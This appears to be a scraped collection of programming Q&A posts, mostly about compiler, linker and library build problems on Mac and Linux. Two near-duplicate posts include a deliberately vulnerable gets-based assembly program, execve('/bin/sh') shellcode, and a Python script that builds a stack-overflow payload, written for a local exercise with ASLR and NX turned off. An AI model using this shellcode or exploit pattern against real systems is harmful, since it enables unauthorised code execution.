    I have been trying to get Google Chrome (6.0.401.1 dev) on Mac OS X to load an NPAPI plugin without success so far. I have been working around the npsimple example from here: http://git.webvm.net/?p=npsimple. Using gcc on Mac and VC++ 2008 on Windows I managed to get it running on Safari and Firefox on Mac OS X and Firefox and Google Chrome on Windows, but not on Google Chrome on Mac OS X. When trying to debug Google Chrome on Mac OS X it seemed Google Chrome was briefly dyld-loading (and immediately dyld-unloading) the plugin on startup, but without actually looking-up any symbols within the plugin or calling any of the functions. It seemed to be doing that for every plugin, though. Also, when loading a page with the embed-tag for the plugin, Google Chrome did not seem to even dyld-load the plugin and no functions were called (not even NP_GetEntryPoints). Google Chrome also does not output any error message, it just simply does not load the plugin. I am not sure I caught everything with gdb because of Google Chrome using different processes, but I have also tried all the switches like --no-sandbox, --single-process and --plugin-startup-dialog (which incidentally does not seem to work at all on Mac OS X). I also made sure the architecture of the binary matches (i.e. 32-bit for Google Chrome). Has anybody had similar problems before? Is there anything I am missing here, like a gcc switch when compiling or something? Any help would be greatly appreciated.

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  • M2Crypto doesn't install in venv, or swig doesn't define __x86_64__ which breaks compiling against OpenSSL

    - by Lorin Hochstein
    I'm trying to install the Python M2Crypto package into a virtualenv on an x86_64 RHEL 6.1 machine. This process invokes swig, which fails with the following error: $ virtualenv -q --no-site-packages venv $ pip install -E venv M2Crypto==0.20.2 Downloading/unpacking M2Crypto==0.20.2 Downloading M2Crypto-0.20.2.tar.gz (412Kb): 412Kb downloaded Running setup.py egg_info for package M2Crypto Installing collected packages: M2Crypto Running setup.py install for M2Crypto building 'M2Crypto.__m2crypto' extension swigging SWIG/_m2crypto.i to SWIG/_m2crypto_wrap.c swig -python -I/usr/include/python2.6 -I/usr/include -includeall -o SWIG/_m2crypto_wrap.c SWIG/_m2crypto.i /usr/include/openssl/opensslconf.h:31: Error: CPP #error ""This openssl-devel package does not work your architecture?"". Use the -cpperraswarn option to continue swig processing. error: command 'swig' failed with exit status 1 Complete output from command /home/lorin/venv/bin/python -c "import setuptools;__file__='/home/lorin/venv/build/M2Crypto/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --single-version-externally-managed --record /tmp/pip-BFiNtU-record/install-record.txt --install-headers /home/lorin/venv/include/site/python2.6: I've got OpenSSL 1.0.0 installed via RPM packages from RedHat. The part of /usr/include/openssl/opensslconf.h that causes the error looks like this: #if defined(__i386__) #include "opensslconf-i386.h" #elif defined(__ia64__) #include "opensslconf-ia64.h" #elif defined(__powerpc64__) #include "opensslconf-ppc64.h" #elif defined(__powerpc__) #include "opensslconf-ppc.h" #elif defined(__s390x__) #include "opensslconf-s390x.h" #elif defined(__s390__) #include "opensslconf-s390.h" #elif defined(__sparc__) && defined(__arch64__) #include "opensslconf-sparc64.h" #elif defined(__sparc__) #include "opensslconf-sparc.h" #elif defined(__x86_64__) #include "opensslconf-x86_64.h" #else #error "This openssl-devel package does not work your architecture?" #endif gcc has the right variable defined: $ echo | gcc -E -dM - | grep x86_64 #define __x86_64 1 #define __x86_64__ 1 But apparenty swig doesn't, since this is the line that's failing: swig -python -I/usr/include/python2.6 -I/usr/include -includeall -o \ SWIG/_m2crypto_wrap.c SWIG/_m2crypto.i Is there a way to fix this by changing something in my system configuration? M2Crypto gets installed in a virtualenv as part of a larger script I don't control, so avoiding mucking around with the M2Crypto files would be a good thing.

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • FFmpeg avcodec_find_encoder problem

    - by net
    I'm newbie in ffmpeg. my problem is "avcodec_find_encoder(CODEC_ID_H264);" func always returning null. ffmpeg configure is below on my ubuntu system. ./ffmpeg FFmpeg version SVN-r26306, Copyright (c) 2000-2011 the FFmpeg developers built on Jan 11 2011 10:34:49 with gcc 4.4.5 configuration: --enable-gpl --enable-version3 --enable-nonfree --enable-postproc --enable-libfaac --enable-libmp3lame --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libxvid --enable-x11grab libavutil 50.36. 0 / 50.36. 0 libavcore 0.16. 0 / 0.16. 0 libavcodec 52.108. 0 / 52.108. 0 libavformat 52.92. 0 / 52.92. 0 libavdevice 52. 2. 3 / 52. 2. 3 libavfilter 1.72. 0 / 1.72. 0 libswscale 0.12. 0 / 0.12. 0 libpostproc 51. 2. 0 / 51. 2. 0 as you can see, configuration contains --enable-libx264 so I think avcodec_find_encoder(CODEC_ID_H264); have to return something not null... please let me know how to solve this problem? ps) when i compile my test program, using below gcc -o test test.c -lavutil -lavformat -lavcodec -lx264 -lz -lm thanks

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  • ERROR: iPhone Private Frameworks "No such file or directory"

    - by WrightsCS
    I have added Private Frameworks To my project. When I build in DEVICE | RELEASE everything works fine and I am able to ldid -S the application and it successfully launches on my device. However, when trying to BUILD AND GO in Simulator, I get the error "No such file or directory" as indicated below: (I also get the error twice which is strange too.) Line Location HomeProfileViewController.h:10: error: BluetoothManager/BluetoothManager.h: No such file or directory Below are the project and build settings that I currently have, maybe someone can find a mistake and let me know, that would be awesome! PROJECT SETTINGS: PRIVATE_HEADERS_FOLDER_PATH = "/Developer/SDKs/iPhoneOS.sdk/Versions/iPhoneOS3.0.sdk/include" PUBLIC_HEADERS_FOLDER_PATH = "/Developer/SDKs/iPhoneOS.sdk/Versions/iPhoneOS3.0.sdk/include" USER_HEADER_SEARCH_PATHS = "/Developer/SDKs/iPhoneOS.sdk/Versions/iPhoneOS3.0.sdk/include" OTHER_CFLAGS = "-I/Developer/SDKs/iPhoneOS.sdk/Versions/iPhoneOS3.0.sdk/include-I/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/usr/include-I/Developer/Platforms/iPhoneOS.platform/Developer/usr/lib/gcc/arm-apple-darwin9/4.0.1/include-F/System/Library/Frameworks-F/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/System/Library/Frameworks-F/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/System/Library/PrivateFrameworks-DMAC_OS_X_VERSION_MAX_ALLOWED=1050" TARGET BUILD SETTINGS: PRIVATE_HEADERS_FOLDER_PATH = "/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/System/Library/PrivateFrameworks" FRAMEWORK_SEARCH_PATHS = "$(inherited) $(SDKROOT)$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks" USER_HEADER_SEARCH_PATHS = "/Developer/SDKs/iPhoneOS.sdk/Versions/iPhoneOS3.0.sdk/include/**" OTHER_CFLAGS = "-I/Developer/SDKs/iPhoneOS.sdk/Versions/iPhoneOS3.0.sdk/include-I/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/usr/include-I/Developer/Platforms/iPhoneOS.platform/Developer/usr/lib/gcc/arm-apple-darwin9/4.0.1/include-F/System/Library/Frameworks-F/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/System/Library/Frameworks-F/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS3.0.sdk/System/Library/PrivateFrameworks-DMAC_OS_X_VERSION_MAX_ALLOWED=1050" Note: The quotation marks in the paths aren't actually in my project, I put them in so the site will syntax them better. Cydia

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  • Undefined symbols compiling apache module mod_transform on Mac OS X

    - by Laurence Rowe
    I'm trying to compile mod_transform on Mac OS X 10.6, but get an ld error while running make. Thanks to diciu I have added some CFLAGS which resolve most of the linking problems, but I still am unable to get the apreq2 linking to work $ CFLAGS="-lxml2 -lxslt -L/opt/local/lib -lapreq2" ./configure --with-apr=/opt/local/bin/apr-1-config --with-apr-util=/opt/local/bin/apu-1-config --with-apxs=/opt/local/apache2/bin/apxs --with-apreq2=/opt/local/bin/apreq2-config ...snip... $ make $ make Making all in src /opt/local/share/apr-1/build/libtool --tag=CC --mode=link gcc -Wall -I../include -I/usr/local/include -I/usr/local/include/libxml2 -O2 -arch x86_64 -I/opt/local/include -DDARWIN -DSIGPROCMASK_SETS_THREAD_MASK -no-cpp-precomp -I/opt/local/apache2/include -I/opt/local/include/apr-1 -I/opt/local/include/apr-1 -I/opt/local/include -O2 -arch x86_64 -I/opt/local/include -DDARWIN -DSIGPROCMASK_SETS_THREAD_MASK -no-cpp-precomp -I/opt/local/apache2/include -I/opt/local/include/apr-1 -I/opt/local/include -I/opt/local/include/apr-1 -I/opt/local/include/apreq2 -I/opt/local/include/apr-1 -I/opt/local/include -lxml2 -lxslt -L/opt/local/lib -lapreq2 -module -export-dynamic -avoid-version -no-undefined /opt/local/lib/libapreq2.la -L/opt/local/lib -laprutil-1 -L/opt/local/lib/db46 -L/opt/local/lib -lapr-1 -lpthread -ldb-4.6 -lexpat -liconv -o http.la -rpath /opt/local/apache2/modules/mod_transform http_la-http.lo /usr/bin/gcc-4.2 -o .libs/http.so -bundle .libs/http_la-http.o -lxml2 -lxslt -L/opt/local/lib /opt/local/lib/libapreq2.dylib -L/opt/local/lib/db46 /opt/local/lib/libaprutil-1.dylib /opt/local/lib/libapr-1.dylib -lpthread /opt/local/lib/db46/libdb-4.6.dylib /opt/local/lib/libexpat.dylib /opt/local/lib/libiconv.dylib -arch x86_64 -arch x86_64 Undefined symbols: "_apreq_handle_apache2", referenced from: _transform_run_begin in http_la-http.o _filter_init in http_la-http.o ld: symbol(s) not found collect2: ld returned 1 exit status make[1]: *** [http.la] Error 1 make: *** [all-recursive] Error 1 Anyone have any other tweaks to fix this? This is mod_transform from http://svn.outoforder.cc/svn/mod%5Ftransform/trunk/ Laurence

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  • configure.in: AM_DISABLE_SHARED doesn't change my Makefile

    - by t2k32316
    I'm extremely new to using Makefiles and autoconf. I'm using the Camellia image library and trying to statically link my code against their libraries. When I run "make" on the Camellia image library, I get libCamellia.a, .so, .la, and .so.0.0.0 files inside my /usr/local/lib directory. This is the command I use to compile my code with their libraries: gcc -L/usr/local/lib -lCamellia -o myprogram myprogram.c This works fine, but when I try to statically link, this is what I get: gcc -static -L/usr/local/lib -lCamellia -o myprogram myprogram.c /tmp/cck0pw70.o: In function `main': myprogram.c:(.text+0x23): undefined reference to `camLoadPGM' myprogram.c:(.text+0x55): undefined reference to `camAllocateImage' myprogram.c:(.text+0x97): undefined reference to `camZoom2x' myprogram.c:(.text+0x104): undefined reference to `camSavePGM' collect2: ld returned 1 exit status I want to statically link because I'm trying to modify the Camellia source code and I want to compare my version against theirs. So after some googling, I tried adding AM_DISABLE_SHARED into the configure.in file. But after running ./configure, I still get the exact same Makefile. After I "make install", I still get the same results above. What is an easy way to get two versions of my code, one with the original Camellia source code compiled and one with my modified version? I think static libraries should work. There is an easy way to get static libraries working or are there other simple solutions to my problem? I just don't want to re-"make" and re-"make install" everytime I want to compare my version against the original.

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  • GenerateDSYMFile warning: unable to open object file

    - by regulus6633
    The background: I have a project that I last built on 10.5 on a PPC computer using xcode v3.1. It builds against the 10.4 SDK. I now have a MacBook with 10.6 on it and Xcode v3.2.1. I installed the 10.4 SDK with xcode. So now I want to build the project on an intel chip on 10.6. I first get a build error because I have the wrong version of gcc setup so I change the build settings to use gcc 4.0. The problem: Now when I build the project I get the following warning: GenerateDSYMFile "build/Release/What's Keeping Me?.app.dSYM" "build/Release/What's Keeping Me?.app/Contents/MacOS/What's Keeping Me?" cd "/Users/hmcshane/Development/ Cocoa Projects/What's Keeping Me?" /Developer/usr/bin/dsymutil "/Users/hmcshane/Development/ Cocoa Projects/What's Keeping Me?/build/Release/What's Keeping Me?.app/Contents/MacOS/What's Keeping Me?" -o "/Users/hmcshane/Development/ Cocoa Projects/What's Keeping Me?/build/Release/What's Keeping Me?.app.dSYM" warning: (i386) /Users/hmcshane/Downloads/Csu-71/crt.dynamic_no_pic.o unable to open object file warning: (ppc7400) /Users/hmcshane/Downloads/Csu-71/crt.dynamic_no_pic.o unable to open object file Any idea what this is? And why is the path for the problem files rooted in my downloads folder? The project certainly doesn't reside there.

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  • virtualenv macosX --no-site-package ignored

    - by Tristram Gräbener
    Hello, I'm having problems with macOSX and virtualenv. It seems to ignore --no-site-package. Using exactly the same commands with linux (archlinux) it works. It it macOSX 10.5 with python 2.5 curl -o virtualenv.py 'http://bitbucket.org/ianb/virtualenv/raw/tip/virtualenv.py Create a new environment python virtualenv.py --no-site-packages foo New python executable in foo/bin/python Installing setuptools...........................done. Activate it source foo/bin/activate Try to install something in it. Despite virtualenv it looks for the system-wide install easy_install cherrypy Searching for cherrypy Best match: CherryPy 3.1.2 Adding CherryPy 3.1.2 to easy-install.pth file Using /Library/Python/2.5/site-packages Processing dependencies for cherrypy Finished processing dependencies for cherrypy Yet it doesn't find the module (foo)guidage-multimodal:~ tristram$ python Python 2.5.1 (r251:54863, Feb 6 2009, 19:02:12) [GCC 4.0.1 (Apple Inc. build 5465)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import cherrypy Traceback (most recent call last): File "<stdin>", line 1, in <module> ImportError: No module named cherrypy I tried PIP after looking at http://stackoverflow.com/questions/1382925/virtualenv-no-site-packages-and-pip-still-finding-global-packages However it fails installing psycopg2 (some problems with gcc). Also I would like to be able to have a setup.py (from distribute) that does the whole woork

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  • GDB not breaking on breakpoints set on object creation in C++

    - by Drew
    Hi all, I've got a c++ app, with the following main.cpp: 1: #include <stdio.h> 2: #include "HeatMap.h" 3: #include <iostream> 4: 5: int main (int argc, char * const argv[]) 6: { 7: HeatMap heatMap(); 8: printf("message"); 9: return 0; 10: } Everything compiles without errors, I'm using gdb (GNU gdb 6.3.50-20050815 (Apple version gdb-1346) (Fri Sep 18 20:40:51 UTC 2009)), and compiled the app with gcc (gcc version 4.2.1 (Apple Inc. build 5646) (dot 1)) with the commands "-c -g". When I add breakpoints to lines 7, 8, and 9, and run gdb, I get the following... (gdb) break main.cpp:7 Breakpoint 1 at 0x10000177f: file src/main.cpp, line 8. (gdb) break main.cpp:8 Note: breakpoint 1 also set at pc 0x10000177f. Breakpoint 2 at 0x10000177f: file src/main.cpp, line 8. (gdb) break main.cpp:9 Breakpoint 3 at 0x100001790: file src/main.cpp, line 9. (gdb) run Starting program: /DevProjects/DataManager/build/DataManager Reading symbols for shared libraries ++. done Breakpoint 1, main (argc=1, argv=0x7fff5fbff960) at src/main.cpp:8 8 printf("message"); (gdb) So, why of why, does anyone know, why my app does not break on the breakpoints for the object creation, but does break on the printf line? Drew J. Sonne.

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  • strange redefined symbols

    - by Chris H
    I included this header into one of my own: http://codepad.org/lgJ6KM6b When I compiled I started getting errors like this: CMakeFiles/bin.dir/SoundProjection.cc.o: In function `Gnuplot::reset_plot()': /usr/lib/gcc/x86_64-pc-linux-gnu/4.3.4/include/g++-v4/new:105: multiple definition of `Gnuplot::reset_plot()' CMakeFiles/bin.dir/main.cc.o:project/gnuplot-cpp/gnuplot_i.hpp:962: first defined here CMakeFiles/bin.dir/SoundProjection.cc.o: In function `Gnuplot::set_smooth(std::basic_string, std::allocator const&)': project/gnuplot-cpp/gnuplot_i.hpp:1041: multiple definition of `Gnuplot::set_smooth(std::basic_string, std::allocator const&)' CMakeFiles/bin.dir/main.cc.o:project/gnuplot-cpp/gnuplot_i.hpp:1041: first defined here CMakeFiles/bin.dir/SoundProjection.cc.o:/usr/include/eigen2/Eigen/src/Core/arch/SSE/PacketMath.h:41: multiple definition of `Gnuplot::m_sGNUPlotFileName' I know it's hard to see in this mess, but look at where the redefinitions are taking place. They take place in files like /usr/lib/gcc/x86_64-pc-linux-gnu/4.3.4/include/g++-v4/new:105. How is the new operator getting information about a gnuplot header? I can't even edit that file. How could that ever even be possible? I'm not even sure how to start debugging this. I hope I've provided enough information. I wasn't able to reproduce this in a small project. I mostly just looking for tips on how to find out why this is happening, and how to track it down. Thanks.

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